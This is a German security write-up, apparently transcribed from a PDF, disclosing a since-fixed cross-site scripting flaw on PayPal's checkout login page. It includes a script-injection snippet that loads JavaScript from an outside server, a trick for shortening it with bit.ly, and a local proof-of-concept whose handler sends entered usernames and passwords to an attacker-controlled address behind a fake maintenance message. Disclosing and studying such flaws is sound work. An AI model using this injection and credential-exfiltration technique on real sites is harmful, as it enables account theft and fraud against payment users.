XSS-Verwundbarkeit in PayPal
←
→
Transkription von Seiteninhalten
Wenn Ihr Browser die Seite nicht korrekt rendert, bitte, lesen Sie den Inhalt der Seite unten
XSS-Verwundbarkeit in PayPal Dokumentation einer Cross Site Scripting-Lücke im Bezahlsystem des Unternehmens PayPal Inc., die einem potentiellen Angreifer unter bestimmten Voraussetzungen das Stehlen des Benutzernamens und des Passwords beliebiger Paypal-Kunden und damit den Zugriff auf deren Konten erlaubt. Konstantin Preißer
Wichtiger Hinweis: Die in diesem Dokument dokumentierte Sicherheitslücke wurde von Paypal bereits im Mai 2012 behoben.
Zusammenfassung Das Unternehmen Paypal, Inc. ermöglicht es seinen Kunden, Geld über ihre Paypal-Konten auszutauschen, um Zahlungen abzuwickeln. Dazu wird Geld z.B. von einem Bankkonto des Kunden auf dessen Paypal-Konto eingezahlt, dann an das Paypal-Konto des Zahlungsempfängers geschickt, und dieser kann es sich anschließend auszahlen lassen (gegen Abzug einer kleinen Gebühr, die Paypal bei einer Transaktion erhebt). Paypal kann auch für Onlineshop-Systeme genutzt werden, indem Shopbetreiber, die einen Paypal- Account besitzen, ein Interface zu Paypal auf ihrem Webshop einbauen. Kunden des Onlineshops werden dann bei der Zahlung auf die Paypal-Seite weitergeleitet, melden sich dort per Eingabe ihres Paypal-Namens und Passworts an und können dann die Zahlung an den Empfänger durchführen. In der Implementierung der Paypal-Seite für Onlineshops, auf der Kunden sich bei Paypal anmelden, steckt eine Cross Site Scripting-Lücke (XSS), die es einem Angreifer, der einen Webshop vortäuscht und Leute dazu verleitet, ein angebliches Produkt per Paypal zu bezahlen, erlaubt, den Benutzernamen und das Passwort des Paypal-Benutzers zu stehlen, wenn dieser sich einloggen will (ohne dass er es merkt). Technischer Ablauf von Paypal-Zahlungen in Onlineshops Eine Möglichkeit, um in einem Onlineshop die Bezahlung per Paypal einzubinden, ist die Erstellung eines HTML-Formulars auf der Zahlungsseite, welches beim Absenden den Benutzer auf eine Paypal- Seite weiterleitet und dabei Parameter wir Artikelbeschreibung, Preis, Anzahl usw. an die aufgerufene Paypal-Seite übermittelt. Diese stellt die Informationen anschließend dar. Der HTML-Code eines solchen Formulars könnte beispielsweise so aussehen: Wenn der Benutzer dieses Formular absendet, erscheint die Paypal-Seite, die die im Formular gesendeten Daten im linken Bereich anzeigt (z.B. „amount_1“: Preis des ersten Artikels, „item_name_1“: Bezeichnung des ersten Artikels usw):
Dort kann sich der Benutzer durch die Eingabe seines Passworts einloggen und anschließend die Zahlung durchführen. Beschreibung der XSS-Lücke Die gezeigte Paypal-Seite enthält links einen Bereich, in dem die vom Webshop gesendeten Artikelangaben wir Beschreibung, Preis usw. dargestellt werden. Die Seite verwendet dabei eine JavaScript-Bibilothek zur Anzeige von Tooltips, wenn der Benutzer mit der Maus beispielsweise über die Artikelbezeichnung fährt:
Der angezeigte/übermittelte Text kann dabei jeweils max. 127 Zeichen lang sein. Die Paypal-Seite selbst ist zwar gegen XSS gesichert, indem sie spezielle HTML-Zeichen wie „
Wenn man dies als Artikelnummer verwendet, sieht der Tooltip so aus: Zwar wird beim reinen Anzeigen des Tooltips das Script noch nicht ausgeführt, aber sobald der Benutzer den Mauszeiger ein kleines Stück nach unten bewegt und über die Zeile mit dem „Hi!“ fährt, wird das onmousemove-Event ausgelöst, und die Seite sieht danach so aus: Es ist also das Einschleusen und Ausführen eines fremden JavaScripts auf der Paypal-Seite gelungen. Eine Beispieldatei zum Reproduzieren ist in der Zip-Datei „Example-1.zip“ enthalten. Wenn man die Datei „MyWebshop.xhtml“ in einem Browser wie Firefox öffnet und auf den Button „Jetzt kaufen mit Paypal“ klickt, wird der oben angegebene String als Artikelnummer gesendet. Wenn man anschließend mit der Maus auf die Artikelnummer fährt und dann ein wenig nach unten (also über den Tooltip), kann man das Verhalten beobachten, dass der Inhalt der Webseite verschwindet. Mögliches Szenario Wenn man nun die Möglichkeit hat, Javascript in eine Webseite einzuschleusen, könnte man die Webseite beliebig umgestalten, indem man z.B. neue DOM-Elemente einfügt oder andere entfernt bzw. ändert. Man könnte beispielsweise die Login-Maske ändern, sodass sie durch eine eigene ersetzt wird, die den eingegebenen Paypal-Benutzernamen und das Passwort an einen fremden Server schickt statt an Paypal, ohne dass der Benutzer dies merkt. Ein Angreifer bekäme dadurch Zugriff auf das Paypal-Konto des entsprechenden Benutzers und könnte sich beispielsweise dessen Geld auf sein Konto überweisen lassen. Allerdings gibt es bei der Übermittlung der Artikeldaten vom Formular an die Paypal-Seite die Einschränkung, dass der String nur aus max. 127 Zeichen bestehen darf. Man muss es also irgendwie schaffen, einen String einzuschleusen, der ein externes JavaScript nachlädt, welches dann wesentlich länger sein kann.
Der Ansatz mit funktioniert leider, wie oben bereits beschrieben, nicht. Es gibt jedoch auch die Möglichkeit, per JavaScript ein Script-Element dynamisch zu erstellen und dieses in den Dokumentenbaum einzufügen. Dies geht z.B. mit folgendem Code: var newTag = document.createElement("script"); newTag.setAttribute("src", "https://www.mein-server.de/mein-javascript.js"); document.body.appendChild(newTag); Dieses Code-Snippet könnte man dann wiederrum in den onmousemove-Handler anfügen. Allerdings wäre dies meistens länger als 127 Zeichen. Um den Code zu verkürzen, kann man u.a. Dienste wie https://bitly.com/ verwenden, die eine lange URL in eine kurze verwandeln (durch Aufruf der kurzen URL wird man per HTTP 301-Redirect auf die ursprüngliche URL weitergeleitet). Ein auf diese Weise verkürzter HTML-String könnte dann so aussehen: D Hier wurde auch das (syntaktisch eigentlich erforderliche) schließende -Tag weggelassen, da Browser durch ihre Verwendung von „Tag Soup“-Parsern das fehlende Endtag automatisch ergänzen. Dieser verkürzte String besteht nun tatsächlich aus 127 Zeichen und kann somit verwendet werden, um eine fremde JavaScript-Datei zu laden, auf die die verwendete bit.ly-URL verweist. Der Benutzer müsste dann wie im vorherigen Beispiel nur mit der Maus über die Artikelnummer fahren (damit der Tooltip erscheint) und dann die Maus ein Stück nach unten bewegen, um den onmousemove- Eventhandler auszulösen. Wichtig ist, dass das Javascript von einer HTTPS-URL geladen wird (nicht HTTP), um die Browserwarnung über „gemischten Content“ zu verhindern (die den Benutzer darauf hinweist, dass einige Elemente der Seite nicht über verschlüsselte SSL/TLS-Verbindungen geladen wurden – in diesem Fall das JavaScript). Ansonsten würde auch die grüne Adressleiste verschwinden, die dem Benutzer ja zusichert, dass der Inhalt der Seite tatsächlich von PayPal stammt. Mit Hilfe der extern nachgeladenen JavaScript-Datei könnte man nun beispielsweise die Eingabemaske für Paypal-Benutzername und Passwort durch eine andere ersetzen, welche das Passwort an einen vom Angreifer kontrollierten Server statt an Paypal weiterleitet. Beispiel In der Zip-Datei „Example-2.zip“ befindet sich ein Webserver (Apache Tomcat 7.0.27) sowie einige Webdateien (Html, JS, JSP), mit denen das obige Szenario reproduziert werden kann. Die JSP-Datei enthält dabei serverseitigen Java-Code, der vom Webserver (Tomcat) ausgeführt wird und welcher das übermittelte Passwort empfangen und auswerten soll. Der Webserver ist so konfiguriert, dass er ein selbstsigniertes SSL-Zertifikat (CN=127.0.0.1) für HTTPS-Verbindungen verwendet. Jedoch muss der Browser so konfiguriert werden, dass er dieses Zertifikat (vorübergehend) akzeptiert, damit keine Fehlermeldungen auftreten. Im folgenden Beispiel wird als Browser Mozilla Firefox unter Windows 7 verwendet.
1. Der Inhalt der Zip-Datei „Example-2.zip“ sollte in ein beliebiges Verzeichnis entpackt werden. Dort sollte dann das Verzeichnis „apache-tomcat-7.0.27“ erstellt worden sein. In diesem befindet sich die Datei „starten.bat“, um den Server zu starten. Die Web-Dateien (HTML, JS usw.) befinden sich im Unterverzeichnis „webapps\PP“. 14.05.2012 18:31 bin 14.05.2012 18:41 conf 14.05.2012 18:31 lib 31.03.2012 15:44 57.846 LICENSE 14.05.2012 18:41 logs 14.05.2012 18:52 2.208 myKeyStore 31.03.2012 15:44 1.228 NOTICE 31.03.2012 15:44 9.054 RELEASE-NOTES 31.03.2012 15:44 10.886 RUNNING.txt 14.05.2012 18:46 216 starten.bat 14.05.2012 18:31 temp 14.05.2012 18:43 webapps 14.05.2012 18:41 work 2. Zur Ausführung des Webservers wird Java benötigt. Die aktuelle Version kann von http://www.java.com/ heruntergeladen werden. Ggf. muss die Datei „starten.bat“ so editiert werden, dass in der ersten Zeile das korrekte Verzeichnis steht, in das Java installiert wurde. Der Standardwert sollte unter Windows Vista und 7 bereits stimmen, wenn Java 7 (die aktuelle Version) installiert wurde: set JRE_HOME=C:\Program Files\Java\jre7 (Eine Abweichung gibt es, falls die 32-Bit-Java-Version (x86) unter einem 64-Bit- Betriebssystem installiert wurde – in diesem Fall müsste der Pfad „C:\Program Files (x86)\Java\jre7“ lauten). 3. Durch Starten der Datei „starten.bat“ sollte der Tomcat-Webserver gestartet werden: 4. Mit Mozilla Firefox kann nun die URL https://127.0.0.1:8443/PP/MyWebshop1.xhtml aufgerufen werden. Beim ersten Aufruf der Seite zeigt der Browser eine Warnung an, da das SSL-Zertifikat selbst signiert wurde.
Bei einem echten Server mit gültigem SSL-Zertifikat würde diese Warnung dann selbstverständlich nicht erscheinen. Um sie zu ignorieren, kann man auf „Ich kenne das Risiko“ und anschließend auf „Ausnahmen hinzufügen“ klicken, um temporär für dieses Zertifikat eine Ausnahme zu erstellen. 5. Nun sollte die Webseite angezeigt werden: Damit wird ein Webshop simuliert, den ein Angreifer nutzen könnte, um Paypal-Inhaber zum vermeintlichen Kauf des Artikels zu bewegen. Der Angreifer müsste allerdings die Personen irgendwie auf seine Webseite locken; er kann sie nicht zwingen, die Seite aufzurufen. Falls eine Person nun am Kauf des Artikels interessiert ist, klickt diese auf „Jetzt kaufen mit Paypal“.
6. Der Benutzer wird auf die Paypal-Seite weitergeleitet. Hinweis: Bei dieser Variante der Datenübermittlung (per Formular) an Paypal wird meistens zuerst der untere Reiter „Mit Lastschrift oder Kreditkarte“ angezeigt, mit dem man zahlen kann, wenn man noch kein Paypal-Konto hat. Dieses Beispiel basiert jedoch auf die Verwendung des oberen Reiters „Sie haben bereits ein PayPal-Konto“. Dieser muss also zunächst angeklickt werden. Bei der Verwendung alternativer Datenübermittlungsmethoden wie der Paypal-API ist beim Öffnen der Seite bereits der obere Reiter ausgewählt. 7. Der Benutzer sieht die „grüne Adressleiste“ (EV-SSL-Zertifikat) und weiß damit, dass diese Seite tatsächlich von Paypal stammt – somit kann mit dem Passwort ja eigentlich nichts passieren. 8. Evtl. wundert sich der Benutzer nun über die eigenartige „Artikelnummer“ und fährt mit der Maus darüber. Es wird nun der Tooltip mit dem Inhalt „D“ angezeigt. 9. Nun fährt der Benutzer langsam mit der Maus nach unten. Jetzt sollte sich das Schloss-Icon auf der rechten Seite von grau in blau geändert haben:
-> Damit wird angezeigt, dass das JavaScript erfolgreich ausgeführt wurde (in einem echten Szenario würde der Angreifer soetwas natürlich nicht verwenden – er würde darauf achten, dass sich optisch nichts verändert). Ansonsten hat sich augenscheinlich aber nichts an der Seite verändert – das Eingabeformular sind immer noch genauso aus wie vorher, und auch die grüne Adressleiste bestätigt immer noch, dass man sich auf der echten Paypal-Seite befindet. 10. Der Benutzer gibt seinen Paypal-Benutzernamen und sein Passwort ein, um sich einzuloggen, und bestätigt mit „Einloggen“. In diesem Beispiel heißt der Benutzer „mein.name@web.de“ und verwendet das Passwort „geheim511478“. 11. Nun erscheint allerdings eine Fehlermeldung mit der Angabe, es würden Wartungsarbeiten durchgeführt und ein Einloggen wäre deshalb nicht möglich: Augenscheinlich bestätigt aber die grüne Adressleiste immer noch, dass man sich auf der Paypal-Seite befindet – eigentlich dürfte also mit dem Passwort nichts passiert sein. Da ein Einloggen anscheinend wegen Wartungsarbeiten nicht möglich ist, verlässt der Benutzer die Seite wieder. 12. Ein Blick in das Konsolenfenster der Servers sollte nun verraten, welchen Benutzernamen und welches Passwort der Benutzer gerade eingegeben hat:
In einem echten Szenario hätte nun der Angreifer die Zugangsdaten zum Paypal-Konto eines Benutzers und könnte sich bei diesem einloggen. Das JavaScript hat dabei an das originale Formular einen Eventhandler zum „onsubmit“-Ereignis hinzugefügt, welcher aufgerufen wird, wenn das Formular abgeschickt wird. Beim Absenden des Formulars erstellt dieser ein neues Image-Objekt und gibt als URL https://127.0.0.1:8443/PP/A1.jsp an, unter der das JSP-Script liegt. Dann liest er die Textfelder aus und hängt die Werte als Parameter als Querystring an die URL an (z.B. https://127.0.0.1:8443/PP/A1.jsp?n=mein.name%40web.de&p=geheim511478). Das JSP-Script wertet dann beimbeim Aufruf die Parameter „n“ und „p“ aus und schreibt sie in die Konsole des Servers. Der JS-onsubmit-Eventhandler erstellt anschließend ein Overlay-Element mit dem Text über die Wartungsarbeiten, welcher über das Eingabeformular gelegt wird, und schließlich gibt der Eventhandler „false“ zurück, um zu verhindern, dass der Browser das Formular tatsächlich absendet. Somit bleibt der Benutzer weiterhin auf der orginalen Paypal-Seite (mit der immer noch grünen Adressleiste) und bekommt nicht mit, dass das Passwort nun in Wirklichkeit an den Angreifer geleitet wurde.
Sie können auch lesen